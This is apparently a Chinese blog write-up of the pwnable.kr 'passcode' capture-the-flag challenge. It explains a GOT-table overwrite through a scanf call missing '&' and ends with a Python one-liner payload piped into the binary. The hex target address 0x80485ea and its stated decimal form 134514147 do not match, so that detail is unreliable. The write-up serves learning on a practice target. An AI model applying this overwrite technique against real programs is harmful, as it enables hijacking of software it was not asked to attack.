pwnable.kr-passcode

这道题的难点在于GOT表覆写,理解了GOT表和PLT表的关系就比较好做了。

函数在调用printf等函数的时候需要访问PLT表,而PLT表中储存的是GOT表对应项的地址。

另外一点就是scanf的参数如果没有加&地址符,就会把参数所在栈内的4个字节(我认为是因为题目中要传入%d是四字节的int型吧)当作地址,然后把缓冲区的数据输入进去。(在IDA中看,就是有加地址符,程序会执行lea指令,没加地址符,就会直接执行mov指令)

#include <stdio.h>
#include <stdlib.h>
 
void login(){
        int passcode1;
        int passcode2;
 
        printf("enter passcode1 : ");
        scanf("%d", passcode1);//没加&,所以系统会把passcode1的值压入栈内,然后执行scanf函数
        fflush(stdin);
 
        // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
        printf("enter passcode2 : ");
        scanf("%d", passcode2);
 
        printf("checking...\n");
        if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
                exit(0);
        }
}
 
void welcome(){
        char name[100];
        printf("enter you name : ");
        scanf("%100s", name);
        printf("Welcome %s!\n", name);
}
 
int main(){
        printf("Toddler's Secure Login System 1.0 beta.\n");
 
        welcome();
        login();
 
        // something after login...
        printf("Now I can safely trust you that you have credential :)\n");
        return 0;

分析程序,发现welcome里开了一个很大的name数组,然后login函数里的scanf没有给参数加地址符&。

可以直接用objdump -d passcode或者gdb ./passcode后使用 disassemble welcome查看welcome函数的汇编

 另外就是用scp -P 2222 passcode@pwnable.kr:/home/passcode/passcode /home把passcode源文件拷贝到本地然后用IDA查看。

从上面两个图片可以看出name数组的栈底是-0x70ebp,passcode1栈底是-0x10ebp,而name数组有100个字节空间,所以只要name数组的最后四个字节空间正好是passcode1的值(0x70和0x10相差96个字节)

之后查看GOT表

我们可以让passcode1的值等于0804a000或者0804a004,因为print和fflush都会在scanf函数之后执行,把passcode1的值写成got表的地址,因为scanf参数没有加地址符,所以会直接把passcode1的值放入栈中,也就是got表的地址,然后执行scanf函数,把我们输入的值写入got表地址所代表的内存空间中。

这样之后在调用print或者fflush时会访问PLT表,然后根据PLT表内储存的GOT表的地址访问相应的GOT表项,然后执行GOT表项所指向的程序段落,这样我们就能通过修改GOT表内的内容,来随意控制程序执行我们想要执行的内容。

我们要获得flag就调用login函数里的system函数,地址是0x80485ea。

最后构造playload=" 'a'*96 + '\x00\xa0\x04\x08' +'\xea\x85\x04\x08' "

因为scanf是要求%d输入,所以0x080485ea=134514147

python -c "print('a'*96 + '\x00\xa0\x04\x08' +'134514147\n')"| ./passcode

https://blog.csdn.net/qq_18661257/article/details/54694748

https://www.cnblogs.com/binlmmhc/p/6189514.html

https://blog.csdn.net/qq_33528164/article/details/70505151

 

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值